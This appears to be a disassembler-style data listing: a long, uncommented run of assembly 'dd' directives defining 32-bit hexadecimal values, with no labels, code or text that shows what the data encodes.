dd 0A1ADF7D1h, 888C794Bh, 12DF05FFh, 0C40CAC19h, 0C88CAD50h
dd 5F878AD0h, 3E00BEF0h, 51728B65h, 9316F26Fh, 0A0E2948Ah
dd 3704DD04h, 0A8971C0Bh, 0F0B1A817h, 9D5420h, 15194538h
dd 1F2041A0h, 0C0006D9Fh, 14440CFBh, 0B1CAD58h, 5CE253A0h
dd 1346F684h, 0C48E5100h, 35595FEFh, 0A844CD01h, 706B282Fh
dd 0BA04C42Bh, 9D01A06Bh, 6655B9Fh, 64CB2ADFh, 6CC013C8h
dd 4258E94h, 74E85C71h, 5BFCC7F4h, 9E8A7CE0h, 0A69F88BEh
dd 120F9408h, 70C000EFh, 3ECC5032h, 80AC6D48h, 0A45DAB75h
dd 0E5FB0038h, 30696A8Dh, 39E60C99h, 0A8378B09h, 56E40B14h
dd 1512DEA4h, 7413B2F6h, 140038E2h, 4A95EAE8h, 5E1676FBh
dd 0D03E23Ch, 1F54946Eh, 0ED99F668h, 0ED6F800h, 0D87C6091h
dd 0DD709A7Ch, 0DCF3115Bh, 7A304EA2h, 431C0068h, 72504D0Bh
dd 34945FE9h, 0C5841709h, 6013E4E0h, 30B214C9h, 0C7B05086h
dd 2C99B6AFh, 5B8D6201h, 0DECC2D36h, 4EA600D6h, 0AEF3E946h
dd 0B8040478h, 8F52A9E4h, 0C5070F8h, 1D97228Ah, 9EE87760h
dd 258E896Fh, 1C5C4699h, 0E4A71862h, 414CBE6Ch, 0F0FEAE1Ch
dd 0B60033AFh, 6F7EBCD2h, 30F450Ch, 0EF636B9h, 65CFE276h
dd 0A87ABFC0h, 4CA20700h, 8CA9210Dh, 4DE83A7Eh, 4CD11491h
dd 90F2DC19h, 7A43F58h, 72B19D38h, 0A264C81Bh, 2C69E9DBh
dd 60097E8h, 73751442h, 2FDDCE1Ah, 60D98096h, 8D213503h
dd 682DFA08h, 1C6D88Ch, 0CAA58FAFh, 67101A60h, 409F01F8h
dd 627BB6D4h, 8E202C2Fh, 0C16BD641h, 0DACBE120h, 86F098D5h
dd 31DD64h, 9C3CB2F1h, 0F80C4B3Ah, 0C2908C46h, 8EC9005Bh
dd 0A95019E0h, 80B4EF33h, 105465Eh, 0ED2867C8h, 0E0D0D5D1h
dd 6200B839h, 9F57816Ah, 98F498E0h, 8D6E1609h, 283257A0h
dd 512D5476h, 50080008h, 26455CF1h, 71F28A25h, 0E2248BC8h
dd 73123044h, 0DCE364D1h, 0A88CE94Ah, 13BB7F8Ch, 0C81AA1F6h
dd 0DA00D324h, 63AC0EEh, 13BF702h, 0FB11D5CBh, 41F66D44h
dd 6BDCC6D6h, 0F4FAA009h, 0A8789440h, 0C071A925h, 26202188h
dd 2AE1D50h, 46658A7Eh, 9BC2E57h, 89A000D5h, 17A67B4Fh
dd 858D6A80h, 0CC48AAF4h, 0EA46845Ah, 0F0B4F1A0h, 895F6671h
dd 5D94ECC2h, 640EE464h, 0E5EBC6B3h, 58FC16A8h, 0EBCF4D12h
dd 9B08A001h, 0A8004BE9h, 0F85AE4F2h, 80B0FC80h, 40D61DBDh
dd 95474198h, 10843E4Dh, 3D333137h, 9E80346Fh, 0EEB4B344h
dd 91BFBA51h, 0E02A76ECh, 94800F28h, 0BFF27C99h, 3FAA3068h
dd 4635582h, 83718813h, 9F7F9020h, 92554B5Fh, 681185CCh
dd 8ABD1020h, 5888BCFEh, 92DA0021h, 9CB84073h, 426CC995h
dd 20CA215h, 0DF4A5D6Fh, 110DE035h, 0E6E42FD8h, 0A5A9BCC0h
dd 687CEA2Dh, 45B6480h, 0B19308D6h, 0CC89157h, 0F0B62A54h
dd 16157910h, 0A0D06B06h, 13BAA6B4h, 0E0C0DAB2h, 4F902A8h
dd 2176AC81h, 0A240C304h, 8B54E4BCh, 0E9661140h, 3CDBB1AFh
dd 1F2E3F70h, 53833BCBh, 2750A4E4h, 4F491760h, 7C0AF8Ch
dd 0A4796EB4h, 89D2E7DCh, 0BA09CCF0h, 7090774Fh, 10ED9FCCh
dd 4680E8C5h, 5C4EB9CFh, 2E0DFC09h, 0FC811828h, 0F307E0BBh
dd 3F7E6D29h, 0FCF2A5F0h, 22288109h, 89760060h, 0BC9FF641h
dd 0DF6607C1h, 99E0DA1Dh, 0C5241A57h, 620BC4BCh, 4504043h
dd 383A416Fh, 71C42540h, 9E40E044h, 9A128045h, 440FB3D6h
dd 10F8D45Bh, 221666B9h, 0F8A8A8DFh, 104A8C4Bh, 8B0054A2h
dd 0A8DF3607h, 1C9E1E75h, 53B873E9h, 27423090h, 35AF302h
dd 0E6948A2Fh, 0DCEA14E0h, 0CC4AA8F9h, 2C3B9FACh, 19A81FE3h
dd 16200806h, 0ACD2F108h, 0D71990h, 0AB3DD6BCh, 0ED30C5Eh
dd 528F94B4h, 0FB84307Ch, 79B70D56h, 590466D4h, 9A258C2Bh
dd 0D6251C71h, 0A407DC1Ch, 56A04C1Eh, 0CDA7A03Eh, 9A46F4DDh
dd 4F449840h, 0E7A4B636h, 79D83DBh, 2E85BFF6h, 416D482h
dd 0C4CAAABAh, 45B3810h, 0F6A4D2A8h, 5ED838ABh, 354E949Ah
dd 3AB0F4A6h, 130FD2C8h, 0C0908D77h, 56A996F9h, 10249A75h
dd 16285EF4h, 60AC5895h, 71294CA2h, 30BB0070h, 347B6DD8h
dd 1323D12h, 1704B703h, 7B387224h, 0C90602FFh, 3638E2FCh
dd 75840DBh, 68C94C37h, 0C2CCB84Bh, 0C044A0B7h, 82ED7040h
dd 4580AD5h, 314EEDEh, 9FCD9D6Eh, 58274D61h, 0B60C074Ch
dd 4EAB444h, 0AB79E5B8h, 9C093C8Ch, 5E9140h, 40A2C273h
dd 98AC72FFh, 0E774A149h, 9548B7D8h, 86854471h, 0F04BA18Ah
dd 4B345630h, 5900AC59h, 69B0344Ch, 9E871F1Eh, 2C71E8Bh
dd 663CF44h, 8F89007Ch, 0D630DE08h, 9BBBDA2Eh, 0D5CE4800h
dd 16079836h, 12448F9Ch, 0B8E0F920h, 0ACE2026Ch, 0B0AAA511h
dd 0E044157h, 50386107h, 8055F25Eh, 0CCFEFD8h, 984DBDC4h
dd 0A29B76C0h, 902D00E5h, 6893A043h, 7E405D92h, 1720049Eh
dd 0FFC1B60Eh, 6CB24C74h, 613012B2h, 0EA1900C7h, 0E428FE8Ch
dd 0E016AD6Bh, 70E026FCh, 0EB21216h, 0C110B96Eh, 243E336Ch
dd 0F0584473h, 215C0418h, 0DA3089F6h, 7F1C3863h, 0F01F4807h
dd 0E8C12F8h, 0EC23D216h, 0B8037184h, 30DE5B4Ch, 1CF991C1h
dd 0EC862AB5h, 0F1534AB8h, 0F4B62F3Ch, 0D66639E0h, 0F92DB400h
dd 422EAB30h, 81401A8h, 88F22022h, 54713A03h, 0C52A8AB0h
dd 0E0C0A6ECh, 1602D033h, 88503F1Dh, 0D2FEC744h, 3100A7F2h
dd 877925B6h, 2FE16Dh, 5DB47DFAh, 64AFD1A3h, 0CF1A9312h
dd 636BA404h, 4F244E2h, 3920FB30h, 639C32D3h, 0D5057870h
dd 0FAF0BF60h, 6CB59C12h, 0FB8547Dh, 0E5930813h, 5E070C80h
dd 0A5F62D72h, 5B9D1CE0h, 82B16303h, 0AA94912Ah, 48D8BAh
dd 0BC0A26D6h, 999AC14Dh, 732DA0BEh, 3B517898h, 0FCF87800h
dd 0D7380ED5h, 0E00B9D86h, 0EDC205Eh, 0FE42DA98h, 6D050D00h
dd 282AB795h, 0DB60AC0Fh, 0F375F93Ch, 27380031h, 145A6C2Fh
dd 0F000F434h, 0E2D9DA0h, 0EF82E5B3h, 8B90753Ah, 0C04E88B4h
dd 0FC37A3FAh, 3FFC0173h, 3B189F09h, 51DC56E1h, 30B22A33h
dd 571EF082h, 800837D5h, 556C4CB6h, 0B5167B2Bh, 38B2633Eh
dd 0DCE05602h, 0C8562472h, 9B8A4377h, 60B0E14Ah, 0F9364B18h
dd 2EE9ADC8h, 163EBC63h, 0A53E3F80h, 0D8BD9B06h, 0C801891h
dd 0DEEF8D26h, 80650012h, 9C581067h, 0A00145BCh, 7DD86339h
dd 5DF28EFCh, 86EAA4A2h, 39E496DDh, 28C020DAh, 0E1FCA09Dh
dd 2DE89DC9h, 4071EAADh, 3EAE4844h, 722308h, 9C2BB62Ah
dd 0D688893Eh, 0DC51FB2h, 22140042h, 69109F01h, 595D582Dh
dd 8B068280h, 0A07482CDh, 2660512Dh, 0E43F9644h, 271FDBE4h
dd 12C06243h, 33C02038h, 0F4DE0D37h, 61F809D2h, 8C9A2AB4h
dd 3CC07C88h, 3ADB2D29h, 210273F5h, 1CE122C3h, 0DB1F1E02h
dd 0FFCE70E0h, 48B80725h, 91BF68h, 0D1E544EAh, 0DC79490Bh
dd 0CA1A4702h, 0FAB83995h, 53BB0004h, 4E94ABBEh, 0D70086F0h
dd 0E768F18Fh, 9FA0AA7h, 4DAFB6CEh, 0DE6B7CFEh, 12319038h
dd 0ACCBF1B5h, 22C00BC8h, 1EB29D75h, 923532A8h, 4B60E7A4h
dd 4BA830E9h, 249A4D26h, 9492F100h, 4B9F2DDAh, 7DE0D0B6h
dd 731DC184h, 3D40C533h
dd 41CC9B64h, 53140F9Eh, 0F4A2FDDBh, 145E30F6h, 0D8A901F4h
dd 73080AEEh, 5208386Dh, 6ABF921Ch, 83020068h, 2259638Fh
dd 78964C6Bh, 2D15C210h, 131C20B7h, 0FEEFD956h, 653A00CDh
dd 41716275h, 0C4B5DFD4h, 0F0719538h, 0F7908E03h, 1631D84Fh
dd 0E04A0093h, 196B4E3Eh, 0A509FA7Eh, 712043DDh, 1878D94Ch
dd 0B4A7029Ch, 0F734F3C5h, 5014C1h, 92E6FC80h, 206695ACh
dd 0E3444B5h, 0A5B13C99h, 23662840h, 6D3BF0ADh, 7709097Bh
dd 0BFD87037h, 6BC080EDh, 1650CD79h, 0E65F87A6h, 9B25E040h
dd 37382499h, 0FCDB2F58h, 63AFF873h, 0D58A0B42h, 0D004970Fh
dd 44AC125Fh, 8E9194C2h, 6BC1B0C9h, 0D6C90CDBh, 7035B00Bh
dd 28805111h, 0FFCAF397h, 1C38CF79h, 0F670A5B2h, 0A850E0F0h
dd 225A54F2h, 0D3B08844h, 0AD1016BFh, 45B8B4h, 34B53251h
dd 4119D6BDh, 0F6C81A97h, 8802DC9Ch, 4004E867h, 6042750Eh
dd 592508F6h, 0FBC8B410h, 5CCB5387h, 4FE55338h, 0CCC270D0h
dd 7CF2958Ah, 483DCE25h, 8797A4h, 0CD23D45Bh, 5082B273h
dd 1D599F09h, 18805749h, 6CCF1EEh, 534BBB90h, 0A93854D1h
dd 9A2ED85Dh, 0CA3B806Ch, 9D8BCB7h, 926FF116h, 5599C73h
dd 0F1024218h, 0C7D4B762h, 166C7430h, 9338ED73h, 34A8BCFDh
dd 0ABE61B12h, 0A69604B9h, 0C5D6E084h, 1C063164h, 7EA71839h
dd 4116A48Ch, 0A4282B14h, 8C9FB508h, 77850A11h, 7435AE36h
dd 0B86EAFh, 4CB93071h, 0D35D2F34h, 0D46EAE18h, 45B40272h
dd 1019F0EAh, 2540C755h, 1EB788E0h, 0A91A2813h, 0CCB8D0FDh
dd 77E48902h, 5C9571FDh, 1646769Ch, 2A38B500h, 789E096Dh
dd 206DC25h, 90A21844h, 20FC7EE0h, 6695117Ah, 4000B694h
dd 0DC5D6AA1h, 0C82D3873h, 569C42C7h, 100C406Ch, 0F400CD84h
dd 0D14043DEh, 988DCB2h, 0C6CF3E78h, 74E45045h, 7A91D461h
dd 6C781482h, 98EEB0D4h, 0F0631314h, 0A2CCE310h, 33A7304Bh
dd 0DCA8C295h, 3C3EDC6Ch, 474584FFh, 24880164h, 0B15FC18h
dd 675D8A4Eh, 0B60B3458h, 58FDA706h, 0DA460B30h, 0B054FA6Ch
dd 81E22484h, 64926847h, 80D48877h, 51559A18h, 5EE2A610h
dd 0ABB884A4h, 149FAC30h, 0A19B050Fh, 0A011DEC1h, 609DEB14h
dd 0BF4DA850h, 0AA03B4B7h, 0B8D0EC01h, 25F0FE20h, 0C87198F6h
dd 7D1F2A42h, 0D80FF43Dh, 92A8C0ACh, 4EC0FAAEh, 0B82CB97Dh
dd 0C5B600C2h, 7868A1C7h, 61BFAFA9h, 9B2EEF70h, 5A8880F4h
dd 0F43FC824h, 0D9842505h, 0A16ECC56h, 7DF98B08h, 3D88027Fh
dd 16D70FC7h, 8E71007Ch, 11D25D0Bh, 0F212A2B8h, 0A8B80F15h
dd 0C8DCCBD2h, 10D5C907h, 13D851C8h, 971EDCDFh, 5EE342D4h
dd 2191B054h, 76AA700h, 15ECB361h, 0B029F9h, 4EF6119Bh
dd 0ACD477h, 0AF30B456h, 1BE3872Dh, 0FC48EB2Eh, 48F88312h
dd 4E8C0BE8h, 1238B3EDh, 54B5A28Ah, 1B80D96Ah, 0B402DF84h
dd 58728E69h, 53A91238h, 4F00BDFBh, 0A4E860ADh, 2706F100h
dd 84CCAF8h, 0FEEC26F0h, 0E94F3C81h, 5A9108B8h, 0AEB6138Ch
dd 6AEF3074h, 9DD305B8h, 64E8CF9Ch, 2172DA80h, 0B0B03A33h
dd 132A6A20h, 9B340944h, 7B5F80F8h, 0F0A8A0h, 0B5ADC7EDh
dd 6681731Ah, 91DC1DBFh, 17C08012h, 0E2DE207h, 19D09A0h
dd 8424BDB2h, 0E8175630h, 1E700050h, 18CC22D6h, 0C1631F6Dh
dd 1AFC06EEh, 0C3003029h, 0E2AD5EDh, 45E1215h, 0FE63FDEBh
dd 4E1C9018h, 0A82FEAA6h, 0ADA0A219h, 9D3C781Fh, 6B972859h
dd 0AC165CBDh, 23A007EDh, 31218DDAh, 0CEE980CDh, 0BB07D1F0h
dd 25A0709h, 4FE5D04Bh, 1C5E88C9h, 0EA0CF18h, 0AF948318h
dd 30C42416h, 848060ACh, 4A7583E8h, 4682A700h, 0A8D2481Dh
dd 0F40F40EEh, 0D41F6671h, 64040DAh, 0DF80D18Bh, 671BD24h
dd 4526562Dh, 17940039h, 0F9858919h, 0ED197AB7h, 0B50C86E7h
dd 7704A979h, 8FC3C96Dh, 2BAED07Dh, 15B0088h, 0DE2CD343h
dd 0E37A66E0h, 7C08305h, 3300E856h, 106CA522h, 0A5F9B5D4h
dd 34C62E00h, 36483ECh, 3D22D845h, 408E5F13h, 3B1DF9E0h
dd 17D90FD0h, 9C46033h, 1AE13085h, 0EAB9619Ah, 159F3F1Dh
dd 2932E98Dh, 16B9B82Eh, 61BBD58Dh, 15208483h, 0AAAC4BEh
dd 15A50Fh, 80FC60FEh, 6114F6D4h, 94849589h, 3FE93798h
dd 0F4B58D01h, 0B66F17F1h, 94C0F4FFh, 0A2E70A9h, 8F0FC5D8h
dd 5DBB4097h, 440BD2CBh, 0D5F5D780h, 0F075C032h, 0C0EC7F36h
dd 0AE518F5Ah, 6C79C51Eh, 75A5E325h, 4E21C3B5h, 56219881h
dd 0BAF5DF38h, 1145B66Eh, 19500681h, 0DB14418Dh, 54DA9h
dd 8007CCB9h, 5124BD31h, 0A912428h, 98E6A900h, 17C968F5h
dd 0F2501A75h, 8B1BFCD1h, 0BD53A1BDh, 3CA988AFh, 0DD966700h
dd 62AE2D7Dh, 0C02B132Ah, 0F3DEAEBAh, 8E77A7CBh, 6A826A88h
dd 0C9953107h, 33AD0378h, 5801D1C2h, 4E983D0h, 0F66BF475h
dd 0B472E019h, 5FE3008Bh, 0C1BC55CBh, 22880DE9h, 9CEB00CDh
dd 3735834Bh, 0A0AFF2Ah, 4DE81243h, 74D17305h, 81F708C0h
dd 34DE38CBh, 0D5B3D05h, 3C9EEA88h, 0CFC3FAD2h, 42B7E137h
dd 3FC0B26Fh, 2F86819Fh, 0EFEB36E6h, 0C170ED2Eh, 1BBD958Bh
dd 0BCC6A92Eh, 0F44F79E8h, 9925005Bh, 816655F8h, 44898EFh
dd 18DD09E2h, 49ED5F13h, 8B5008C0h, 3718E4C2h, 8E08C103h
dd 1965EB95h, 0B8DBEF58h, 91CDAA93h, 0E06CB67Ah, 983DD62Fh
dd 1DB92034h, 0F79D2924h, 0BD9E4D24h, 0BE0419F5h, 72CC3484h
dd 9DB870F9h, 0DF524A7Eh, 39C089EDh, 20B589EDh, 0FF3109BDh
dd 305582E1h, 5403F0Ch, 0BA9D4E31h, 88137F10h, 5B471101h
dd 0BB90EEF8h, 5F45C502h, 1990F9FDh, 86120F03h, 0DBAB04F8h
dd 82F9C094h, 9F0E22Fh, 0A7BCD393h, 0A1B52686h, 659D890Eh
dd 6092DD1Fh, 0C7AB9AAEh, 81DF60D8h, 22B2AFFBh, 1261E07Ah
dd 0F8C6FBBDh, 11F0D82h, 0B472F03Dh, 80FEA3CDh, 9D1218E1h
dd 0C90A6785h, 2BF0AEA1h, 0A1E8D6FDh, 0AE922h, 9F02D71Bh
dd 45FD5349h, 0FE62C72Ch, 17FBB917h, 0AF6EAF42h, 837D6309h
dd 9B40E55h, 732898FAh, 6BEB0392h, 28C0AC3Ch, 0A2FDDEC0h
dd 0A7A57F03h, 2133E231h, 16F1057Eh, 0F9034C18h, 22BF669Eh
dd 32B3C918h, 1A95B17Ah, 0A0D2C067h, 16D03522h, 0EF4F06B1h
dd 8A0FF621h, 0DD438663h, 1704E818h, 1F6603FFh, 0BD395276h
dd 0BB109ED0h, 0EE4BD115h, 0C9AB221h, 7D21FB40h, 40D23CC9h
dd 4DB4600h, 0C648F8B6h, 0F5D83E06h, 5AAB8B5Fh, 0C0FEF850h
dd 664CEABBh, 8B5B315Eh, 0FDC99310h, 0FE71454Fh, 0BB3BBCCh
dd 0D88B5806h, 0AE3D1885h, 9BBA60C5h, 0CC8B80C3h, 0E0510994h
dd 646C486Dh, 5824DD10h, 0C4540B13h, 47BD16h, 644A4E7Eh
dd 0A04A87E2h, 9DA26320h, 0C14C3838h, 0BE527D00h, 115F4903h
dd 36F6750Ah, 960215E8h, 60BFCB99h, 39E391h, 27665C31h
dd 6F2A470Bh, 0C0C66058h, 6333227Eh, 0FEF10011h, 7A9D441Fh
dd 4CB0E58Eh, 0A0A7E700h, 6E95F61h, 0D8BBB302h, 0CE0BAA37h
dd 0A4CD73ADh, 23816044h, 49071061h, 524CC505h, 0FC9AAA9Dh
dd 0F6717BC0h, 60164ACAh, 30EB8D0Fh, 0B58BC0A6h, 6F353D33h
dd 1F1885C7h, 0CD7BD1EBh, 7B855024h, 0AEE0B3A6h, 0CD0047B4h
dd 0B0C0E4BEh, 38334E86h, 8941D9BDh, 772A55E6h, 7EE0A66Dh
dd 62F336h, 6FC7813Dh, 894918E9h, 0CF040678h, 4707906Ch
dd 0E09D6CD9h, 891E82CBh, 0BAC30446h, 96051D92h, 0FA66C3BFh
dd 0F81508AEh, 5BC4B5FFh
dd 1BC6EADh, 0A34FB500h, 50342A6Ah, 20AC4BB7h, 0CE1965C2h
dd 0F0A6200h, 0A068F9BFh, 90722448h, 36046076h, 2BFA51A9h
dd 83826A38h, 0E0DD6BAAh, 81A8E16Fh, 3C5F7130h, 7DC8ACBBh
dd 0F06028CFh, 5B5C7405h, 97A26501h, 0E62CBBDAh, 0E26F0FDDh
dd 1A080028h, 0F564F360h, 772D099Ch, 8D0070FBh, 104A72CCh
dd 8D5B6212h, 9BBAE752h, 0BDA1C19Ch, 3D50A6E2h, 1C7C4D7h
dd 0E107A70Bh, 0C01E83DEh, 0DF261F0h, 4063D414h, 50FE16C5h
dd 0F4DD66FBh, 7BDEB3h, 918F84ACh, 0BD0BE637h, 490EC149h
dd 20BE9787h, 0EBD390C6h, 63032A72h, 0D9E148C9h, 2B3AA815h
dd 1252BD9Dh, 0DC615F2Fh, 0A700DC2Ch, 0D04EE4ECh, 5F3BF6B0h
dd 0C2FAEC6Bh, 0E685C7F5h, 1302B998h, 0E9B605DFh, 9C4C92Fh
dd 4DD764CFh, 0F458F697h, 0A51CFA73h, 0CE2E45E9h, 0A62A00F6h
dd 546308BCh, 843D5A1Fh, 1128081h, 30502E6Bh, 7311B80Ch
dd 90C1F444h, 0EA4F55Fh, 894C1FB0h, 0C0685803h, 366EEBE7h
dd 6421F036h, 1BB170CFh, 28299A50h, 58180621h, 57016813h
dd 0BD54B1Bh, 6537F74Fh, 0A8B22D00h, 26F4D807h, 13BCB5F0h
dd 8B6C88F8h, 7ADC931Eh, 0D60656C7h, 12B7773Bh, 0B52FAB00h
dd 259D8B0Dh, 0CA392879h, 0F7147003h, 0DD56045Ch, 0E47919A4h
dd 0EACFDDF6h, 0FA0BBC40h, 0D09800DBh, 1FC7181Ah, 661342BBh
dd 0A5082145h, 0B5756B54h, 6FDF0995h, 969D102h, 40CC4FFDh
dd 10DA6AB3h, 0FE6B1226h, 261F3508h, 0D7481077h, 1C9D6AEFh
dd 0B101E5F6h, 0DAE44856h, 9DDFBD61h, 6CAE88FBh, 0CA6F6B00h
dd 0B479E519h, 0E01A1688h, 0BEC11759h, 6004E218h, 0F8E63881h
dd 0B4C3581h, 6515598Dh, 838320D5h, 24342686h, 0A3B0A190h
dd 6894D08Dh, 140C4E00h, 0B6BF66FFh, 29B8A010h, 37418232h
dd 682D245h, 9D940BA5h, 120543A0h, 318519C5h, 20511844h
dd 0C4868902h, 616EEFFDh, 0D4E10FEBh, 54FE8F8h, 7AFA4456h
dd 0CBF30FE3h, 3FCCE119h, 1BE88236h, 0DC28FB60h, 890F5B09h
dd 4B4E7Fh, 0F20BD415h, 61C44A2Eh, 0CF392DB8h, 0C283899Fh
dd 0CA4D5704h, 522B0860h, 1C781B0Ch, 0CF9854D7h, 8D2E01C8h
dd 89849629h, 19E12050h, 8CEF9A6h, 8A3FD8E3h, 0B60F499Dh
dd 0D709B847h, 90E1CA6Dh, 1EC42082h, 0F873847h, 3B908CA5h
dd 6578C51Dh, 2E045CD2h, 47142255h, 0CFED9AA5h, 0AC25A2E0h
dd 0D0517Bh, 0EF84C81h, 2A01C205h, 0C689315Ch, 5421BBADh
dd 1EC2F7C6h, 5833D375h, 0C2C4F6F1h, 65140579h, 9423A512h
dd 0CA3830Ch, 52693377h, 98625F04h, 0B6960404h, 82E8E0A2h
dd 0E2F90508h, 8CD2E04Ah, 0AA1EEF13h, 7CC25416h, 0C247F2DAh
dd 11AF37FCh, 9123801Ch, 575DE3h, 58B09276h, 12C99501h
dd 0DA2484B9h, 9BBF0C35h, 0EE308054h, 0B09E1166h, 14951033h
dd 77718913h, 0CE40C5EFh, 2BDB643h, 60767591h, 0C68F50BFh
dd 0F7E5BBC0h, 5F5041F4h, 0B351B7C9h, 769325CBh, 925E0DFh
dd 11C80060h, 0DF8A2A28h, 822F0F26h, 614C910Ah, 9D2DEC2Eh
dd 0C56DBFC1h, 7A664F18h, 8D3018E2h, 0B75A12D8h, 0D90EFB6h
dd 0E92A71h, 54BC72F6h, 0E14682C6h, 0DC5BEF28h, 7405AD2Fh
dd 0C00F4F2h, 0B5BF8375h, 2B94E19Dh, 2F638EB7h, 0DD4C2FCh
dd 94F20907h, 112D5A0h, 0E20B4B7h, 2B1C911h, 0A77D0E04h
dd 8F9EB037h, 4C3C028Bh, 1A456A5h, 1AD59260h, 3838F881h
dd 77BD0F27h, 86DD4900h, 25C0BE11h, 0C406AE0Ah, 3C93B4C6h
dd 37E24278h, 115800Fh, 355185C7h, 5710A565h, 15813B37h
dd 0FFF118E9h, 26DFDC6h, 702715C0h, 8A3516FCh, 5F874E57h
dd 3741C169h, 16A82B1Eh, 66DAEAA5h, 0C60AD80h, 0F1001766h
dd 5DE78150h, 3C2F0A63h, 0AF2905Bh, 1D3D8529h, 94402C32h
dd 0BB030830h, 628F2E46h, 0A3118E12h, 61A9C1EAh, 0FFF50205h
dd 5B50DBC0h, 8F22E798h, 0D98A2702h, 0B3F92801h, 0F8509CEBh
dd 38D0E9EBh, 840F118Ch, 95090406h, 8100284Dh, 91B443CBh
dd 65EF5B4Bh, 54DAFA52h, 2D09A883h, 10A56010h, 0F9DF8D38h
dd 0E1F8B7h, 0BB66DC85h, 0D1FFEAF6h, 73F97BBDh, 200913B9h
dd 0C4BC06B8h, 0E80FDD8Bh, 84173D1Ah, 0FD928525h, 620F00BDh
dd 392C80D0h, 547DB509h, 3802AA1Fh, 4ADD9D31h, 5ABEBF03h
dd 8B923050h, 7357FA92h, 1A1F58D8h, 0A2AE6D12h, 34A98504h
dd 0D9B70F02h, 16C446EDh, 82B89160h, 41BD2B09h, 2DA0490Fh
dd 3D88D9ACh, 0B2F4F8DFh, 107C441Bh, 423C1BDh, 5B58B60h
dd 9D331090h, 48C7B201h, 5E0F9661h, 0DBB6168Fh, 60F78265h
dd 4BE36036h, 61DEED50h, 0D63CC113h, 859009D3h, 0D84B5DE6h
dd 6FD213AFh, 0F53B138Bh, 64540901h, 882C35FFh, 820C690h
dd 4025DDFBh, 0F781660Dh, 5F878D27h, 1C11AE35h, 33736B80h
dd 1E02CA42h, 6A746C49h, 70F753FFh, 0B900F048h, 56E72521h
dd 4A71B589h, 5DA14B13h, 0D7819620h, 962CE160h, 3190F279h
dd 147E90Ch, 75208DFBh, 48B0700Bh, 1A201833h, 9870E626h
dd 0C4372B9Ah, 0ED250025h, 3E769B30h, 0A002F488h, 0E40DE1B4h
dd 653F4071h, 55F69D25h, 0A06F1046h, 8221197Ah, 4A006F59h
dd 5A856F6Ch, 0A8C51E52h, 89764FD0h, 8287A43Eh, 0C8B60F5Bh
dd 9D98C6F7h, 7400EB56h, 0BAF2E84Fh, 248C8A06h, 770F6AFAh
dd 0C1606DC8h, 43D5A92Dh, 17B2F83Bh, 1FAD88Ah, 2BFE8B16h
dd 0B99C88C8h, 89600210h, 1CCBE195h, 0DC0BF6D8h, 8B614000h
dd 3CD6BFD1h, 77444C79h, 0E9C37509h, 3606F10h, 0C699515h
dd 17B0C099h, 164A48Bh, 0C06F4194h, 9C0BCB95h, 0B9EA8552h
dd 0E3251EB6h, 0AD065186h, 5218401h, 70745F02h, 3BBC4BCh
dd 1F6C1B8Fh, 15065DE9h, 153D9D09h, 0C0DC97CBh, 592D06Eh
dd 0EE61F63Ah, 8201858Dh, 623A1959h, 79293180h, 3BDE0028h
dd 0F65FF8B3h, 813DD804h, 3E87E11Fh, 80A58382h, 0BD01FE28h
dd 0AADFD089h, 4C55EA69h, 91B397F5h, 29011DE2h, 8732BD9Dh
dd 0F36EAB4Bh, 0F5308702h, 0B86A9690h, 0CDDD8CA9h, 60174451h
dd 2CEF2EBh, 593FBB45h, 95415E15h, 0B9F9855Dh, 0B3210761h
dd 9D48E8DEh, 832B0097h, 8C11E455h, 4F04CF93h, 2DB8B21Dh
dd 0D8807AACh, 86BCA463h, 0E2A09200h, 0B7D1BEBh, 17FD0405h
dd 0E85FA3EEh, 0DBDB4A7Fh, 0FC7F2182h, 0DC6A5Ch, 0CC493E19h
dd 0B764E5D2h, 0BD27139Eh, 1D3B25FFh, 44C07AC2h, 5E8222C5h
dd 9B148D9h, 0B4D32981h, 501753E9h, 0A00EDB22h, 0B24BD4D5h
dd 0B29B904h, 13A063E7h, 9F023F2Bh, 659D23ECh, 880D0225h
dd 21A965A2h, 5E43EA09h, 7902F458h, 2F0CB8BBh, 0E5734164h
dd 0DA4B9868h, 0C017C885h, 0DD39B753h, 0BC097498h, 0D1D98A80h
dd 0BD0B588Eh, 0F69D23F2h, 4600DE01h, 0D3F0A2D4h, 4EF553CBh
dd 2F6C8A5Fh, 0F6C77696h, 0E521F900h, 98A5031h, 0D80D4585h
dd 0E09A59BDh, 8204B85Dh, 74C78FC3h, 1D46D69Ah, 38B96900h
dd 8CCE9B28h, 107EA604h, 0F6EAE1FFh, 4680B0D2h, 0BBEA0177h
dd 5C55A432h, 14202B60h, 4219BD1h, 1FB65F77h, 0A1CEE861h
dd 0E39D0456h, 0A2BE53BBh, 92608FCCh, 0C077DBBAh, 0F18D0928h
dd 0FC418210h, 0BFB71102h, 0F3EA283Ah, 9A3061D2h, 0F2E2D1h
dd 56FDEABFh, 0A836A5ECh, 1B69EB12h, 0FFB1C80h, 5F7C8689h
dd 27DC3F96h, 0EEC6391Bh, 12F367B0h, 0CB527523h, 56DF8297h
dd 404FD460h, 0BC3BA195h, 6DFECF00h, 0B116C14Ah, 40BA3266h
dd 6FD45B96h, 90737A40h
dd 0C0876284h, 0DE745FD9h, 311FB542h, 0DAE41762h, 93DF49B8h
dd 0FF64258Ch, 9D7F88h, 7F7D67E9h, 2657CDD6h, 95005178h
dd 9E64818h, 0D260BCA3h, 259CF38Eh, 0FE61C190h, 23EDFDD6h
dd 0D965D5C2h, 8CCB00B9h, 96C9D9ADh, 70903F07h, 0C682A02Fh
dd 58DB576Ah, 0FD3E0173h, 4658729Ah, 0A7BFFC1Fh, 29B00713h
dd 66C1A0A2h, 3A07B3BFh, 16317D5Dh, 0EF49E952h, 9677B83Fh
dd 1030C685h, 3D8CFABBh, 9B5A36ACh, 188B8B16h, 0ACA1E9h
dd 8310D1F7h, 917B3C28h, 0CD4E8B07h, 731E1FBFh, 9A4EA9A7h
dd 69E4803Bh, 1393F72Eh, 197B388h, 0A318DF5Ah, 86A2752h
dd 130C5D9Dh, 60B6A35Fh, 3D67CB32h, 1C726E9h, 0B405F6AFh
dd 83480B5Ah, 0BD4938F0h, 0A997A4F8h, 4134CF50h, 3A961EA1h
dd 0DEEF3D12h, 70C28779h, 0AD47D4D0h, 272CB872h, 406295BDh
dd 8061615Eh, 743A65D7h, 0A0FDB639h, 24296467h, 44C0BB6h
dd 0C089D860h, 0D919D2Ah, 9FFA8B88h, 1491A635h, 0E8F98384h
dd 0BD987352h, 303B3441h, 0EACC21Bh, 0AAF61100h, 1B28B887h
dd 0C0100098h, 250CB52Ch, 340BA1E4h, 0C15FF88Bh, 80315184h
